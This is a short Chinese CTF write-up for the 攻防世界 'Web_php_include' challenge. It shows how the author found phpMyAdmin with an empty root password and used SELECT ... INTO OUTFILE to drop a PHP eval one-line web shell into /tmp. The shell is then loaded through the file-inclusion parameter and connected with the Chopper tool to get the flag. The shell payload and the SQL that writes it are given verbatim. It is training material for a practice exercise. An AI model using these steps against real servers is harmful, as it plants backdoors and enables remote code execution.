攻防世界 Web_php_include write up
dirbuster 掃目錄 發現phpinfo()可以看到絕對路徑 和 phpmyadmin
進入phpmyadmin頁面 root直接空密碼登錄
查看phpmyadmin變量 secure file priv 值為空 說明可以寫入一句話
load_file()可以讀取任意文件
.......在經過各種嘗試寫人一句話再用文件包含讀取的過程中.發現權限有各種限制。
.......因為page可以直接包含phpinfo()頁面顯示，所以以phpinfo()為測試，測試到/tmp 目錄可以寫入，也可以包含讀取。
於是將一句話寫入/tmp，菜刀鏈接文件包含頁面，得到flag
<?php eval(@$_POST['flag']); ?>
select "<?php eval(@$_POST['flag']); ?>"into outfile '/var/lib/mysql/test1.php' 能寫入，無法包含。
select "<?php eval(@$_POST['flag']); ?>"into outfile '/var/www/test1.php' 無法寫入
............
...........
.......
select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php' 可以寫入
http://111.198.29.45:36252/?page=/tmp/test.php 菜刀鏈接
....